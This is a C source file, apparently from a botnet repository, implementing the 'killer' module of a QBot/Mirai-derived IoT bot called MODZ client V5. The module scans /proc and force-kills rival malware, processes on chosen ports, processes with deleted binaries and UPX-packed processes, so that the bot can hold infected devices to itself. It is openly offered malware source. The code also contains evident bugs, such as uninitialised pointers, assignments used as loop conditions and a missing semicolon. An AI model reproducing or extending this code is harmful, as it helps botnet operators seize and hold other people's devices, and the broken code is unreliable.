TL-BOTS/TL.QBOT/QBOT.MODZ/kill.c

501 lines
11 KiB
C

/*
███╗ ███╗ ██████╗ ██████╗ ███████╗
████╗ ████║██╔═══██╗██╔══██╗╚══███╔╝
██╔████╔██║██║ ██║██║ ██║ ███╔╝
██║╚██╔╝██║██║ ██║██║ ██║ ███╔╝
██║ ╚═╝ ██║╚██████╔╝██████╔╝███████╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝
MODZ client V5
Build Date: 8/5/18
__ _ __ _ _
| |/ / (_) | | | | ___ _ __
| ' / | | | | | | / _ \ | '__|
| . \ | | | | | | | __/ | |
|_|\_\ |_| |_| |_| \___| |_|
inovated botkiller from mirai. Used to disable other peoples infections on a device
*/
#pragma once
#define TRUE 1
#define FALSE 0
#define MAX_PIDS 4096
#include <unistd.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <linux/limits.h>
#include <sys/types.h>
#include <dirent.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <limits.h>
// Add strings here
char *m_strings[] = {
"/proc/net/route",
"BOGOMIPS",
"/dev/watchdog/",
"/dev/misc/watchdog/",
"/proc/net/tcp"
}
int killer_pid;
static inline int util_isupper(char c)
{
return (c >= 'A' && c <= 'Z');
}
static inline int util_isalpha(char c)
{
return ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z'));
}
static inline int util_isspace(char c)
{
return (c == ' ' || c == '\t' || c == '\n' || c == '\12');
}
static inline int util_isdigit(char c)
{
return (c >= '0' && c <= '9');
}
char *util_itoa(int value, int radix, char *string)
{
if (string == NULL)
return NULL;
if (value != 0)
{
char scratch[34];
int neg;
int offset;
int c;
unsigned int accum;
offset = 32;
scratch[33] = 0;
if (radix == 10 && value < 0)
{
neg = 1;
accum = -value;
}
else
{
neg = 0;
accum = (unsigned int)value;
}
while (accum)
{
c = accum % radix;
if (c < 10)
c += '0';
else
c += 'A' - 10;
scratch[offset] = c;
accum /= radix;
offset--;
}
if (neg)
scratch[offset] = '-';
else
offset++;
strcpy(string, &scratch[offset]);
}
else
{
string[0] = '0';
string[1] = 0;
}
return string;
}
int util_atoi(char *str, int base)
{
unsigned long acc = 0;
int c;
unsigned long cutoff;
int neg = 0, any, cutlim;
do {
c = *str++;
} while (util_isspace(c));
if (c == '-') {
neg = 1;
c = *str++;
} else if (c == '+')
c = *str++;
cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX;
cutlim = cutoff % (unsigned long)base;
cutoff /= (unsigned long)base;
for (acc = 0, any = 0;; c = *str++) {
if (util_isdigit(c))
c -= '0';
else if (util_isalpha(c))
c -= util_isupper(c) ? 'A' - 10 : 'a' - 10;
else
break;
if (c >= base)
break;
if (any < 0 || acc > cutoff || acc == cutoff && c > cutlim)
any = -1;
else {
any = 1;
acc *= base;
acc += c;
}
}
if (any < 0) {
acc = neg ? LONG_MIN : LONG_MAX;
} else if (neg)
acc = -acc;
return (acc);
}
void zero(void *buf, int len)
{
char *zero = buf;
while (len--)
*zero++ = 0;
}
int stristr(char *haystack, int haystack_len, char *str)
{
char *ptr = haystack;
int str_len = strlen(str);
int match_count = 0;
while (haystack_len-- > 0)
{
char a = *ptr++;
char b = str[match_count];
a = a >= 'A' && a <= 'Z' ? a | 0x60 : a;
b = b >= 'A' && b <= 'Z' ? b | 0x60 : b;
if (a == b)
{
if (++match_count == str_len)
return (ptr - haystack);
}
else
match_count = 0;
}
return -1;
}
char *m_fdgets(char *buffer, int buffer_size, int fd)
{
int got = 0, total = 0;
do
{
got = read(fd, buffer + total, 1);
total = got == 1 ? total + 1 : total;
}
while (got == 1 && total < buffer_size && *(buffer + (total - 1)) != '\n');
return total == 0 ? NULL : buffer;
}
static int mem_exists(char *buf, int buf_len, char *str, int str_len)
{
int matches = 0;
if (str_len > buf_len)
return FALSE;
while (buf_len--)
{
if (*buf++ == str[matches])
{
if (++matches == str_len)
return TRUE;
}
else
matches = 0;
}
return FALSE;
}
static int memory_scan_match(char *path, char *m_string)
{
int fd, ret;
char rdbuf[4096];
int found = FALSE;
if ((fd = open(path, O_RDONLY)) == -1)
return FALSE;
while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
{
if (mem_exists(rdbuf, ret, m_string, strlen(m_string)))
{
found = TRUE;
break;
}
}
close(fd);
return found;
}
static int has_access(char *ppath)
{
char path[PATH_MAX], *ptr_path = path, tmp[16];
int fd, k_rp_len;
char *tmp_pid;
int pid = getpid();
sprintf(tmp_pid, "%d", pid);
strcpy(ptr_path + strlen(ptr_path), (char *)"/proc/");
strcpy(ptr_path + strlen(ptr_path), (char *)tmp_pid);
strcpy(ptr_path + strlen(ptr_path), (char *)"/");
strcpy(ptr_path + strlen(ptr_path), (char *)ppath);
if ((fd = open(path, O_RDONLY)) == -1)
{
return FALSE;
}
close(fd);
zero(path, ptr_path - path);
return TRUE;
}
int killer_kill_by_port(uint16_t port)
{
DIR *dir, *fd_dir;
struct dirent *entry, *fd_entry;
char path[PATH_MAX] = {0}, exe[PATH_MAX] = {0}, buffer[512] = {0};
int pid = 0, fd = 0;
char inode[16] = {0};
char *ptr_path = path;
int ret = 0;
char port_str[16];
util_itoa(ntohs(port), 16, port_str);
if (strlen(port_str) == 2)
{
port_str[2] = port_str[0];
port_str[3] = port_str[1];
port_str[4] = 0;
port_str[0] = '0';
port_str[1] = '0';
}
fd = open("/proc/net/tcp", O_RDONLY);
if (fd == -1)
return 0;
while(m_fdgets(buffer, 512, fd) != NULL)
{
int i = 0, ii = 0;
while (buffer[i] != 0 && buffer[i] != ':')
i++;
if (buffer[i] == 0) continue;
i += 2;
ii = i;
while (buffer[i] != 0 && buffer[i] != ' ')
i++;
buffer[i++] = 0;
if (stristr(&(buffer[ii]), strlen(&(buffer[ii])), port_str) != -1)
{
int column_index = 0;
int in_column = FALSE;
int listening_state = FALSE;
while (column_index < 7 && buffer[++i] != 0)
{
if (buffer[i] == ' ' || buffer[i] == '\t')
in_column = TRUE;
else
{
if (in_column == TRUE)
column_index++;
if (in_column == TRUE && column_index == 1 && buffer[i + 1] == 'A')
{
listening_state = TRUE;
}
in_column = FALSE;
}
}
ii = i;
if (listening_state == FALSE)
continue;
while (buffer[i] != 0 && buffer[i] != ' ')
i++;
buffer[i++] = 0;
if (strlen(&(buffer[ii])) > 15)
continue;
strcpy(inode, &(buffer[ii]));
break;
}
}
close(fd);
if (strlen(inode) == 0)
{
return 0;
}
if ((dir = opendir("/proc/")) != NULL)
{
while ((entry = readdir(dir)) != NULL && ret == 0)
{
char *pid = entry->d_name;
if (*pid < '0' || *pid > '9')
continue;
strcpy(ptr_path, "/proc/");
strcpy(ptr_path + strlen(ptr_path), pid);
strcpy(ptr_path + strlen(ptr_path), "/exe");
if (readlink(path, exe, PATH_MAX) == -1)
continue;
strcpy(ptr_path, "/proc/");
strcpy(ptr_path + strlen(ptr_path), pid);
strcpy(ptr_path + strlen(ptr_path), "/fd");
if ((fd_dir = opendir(path)) != NULL)
{
while ((fd_entry = readdir(fd_dir)) != NULL && ret == 0)
{
char *fd_str = fd_entry->d_name;
zero(exe, PATH_MAX);
strcpy(ptr_path, "/proc/");
strcpy(ptr_path + strlen(ptr_path), pid);
strcpy(ptr_path + strlen(ptr_path), "/fd");
strcpy(ptr_path + strlen(ptr_path), "/");
strcpy(ptr_path + strlen(ptr_path), fd_str);
if (readlink(path, exe, PATH_MAX) == -1)
continue;
if (stristr(exe, strlen(exe), inode) != -1)
{
kill(util_atoi(pid, 10), 9);
ret = 1;
}
}
closedir(fd_dir);
}
}
closedir(dir);
}
sleep(1);
return ret;
}
void killer_init(void) {
DIR *dir;
struct dirent *file;
char pids[MAX_PIDS];
int pid_num;
killer_pid = fork();
if(killer_pid > 0 || killer_pid == -1)
return;
if(!has_access("exe"))
return;
while(1) {
if((dir = opendir("/proc/")) == NULL)
break;
while((file = readdir(dir)) != NULL) {
if(*(file->d_name) < '0' || *(file->d_name) > '9')
continue;
int ipid = atoi(file->d_name);
if(!(ipid == getpid()) || !(ipid == getppid())) {
#ifdef DEBUG
printf("[killer] Found Pid <%d>\n", ipid);
#endif
unsigned char *pid = file->d_name;
pids[pid_num] = pid;
// sprintf(pids[pid_num], pid);
if(pid_num == MAX_PIDS)
break;
pid_num++;
}
}
for(int i = 0; i = pid_num; i = i + 1) {
char *path;
char rp[PATH_MAX];
int rp_len, fd, ii = 0;
sprintf(path, "/proc/%s/exe", pids[i]);
if((rp_len = readlink(path, rp, sizeof(rp) - 1)) != -1) {
rp[rp_len] = 0;
if ((fd = open(rp, O_RDONLY)) == -1) {
#ifdef DEBUG
printf("[killer] Killing PID%s (Deleted Binary)\n", pids[i]);
#endif
kill(pids[i], 9);
}
close(fd);
}
for(ii; ii = (sizeof(m_strings) / sizeof(m_strings[0])); ii++) {
if(memory_scan_match(path, m_strings[ii])) {
#ifdef DEBUG
printf("[killer] Killing PID%s (Found String ~ %s)\n", pids[i], m_strings[ii]);
#endif
kill(pids[i], 9);
}
}
int ret;
char rdbuf[4096];
if((fd = open(path, O_RDONLY)) != -1)
continue;
char *str_upx;
sprintf(str_upx, "UPX!");
while((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0) {
if(mem_exists(rdbuf, ret, str_upx, strlen(str_upx))) {
#ifdef DEBUG
printf("[killer] Killing PID%s (Mem Match UPX)\n", pids[i]);
#endif
kill(pids[i], 9);
}
}
}
}
}
void killer_kill(void) {
kill(killer_pid, 9);
}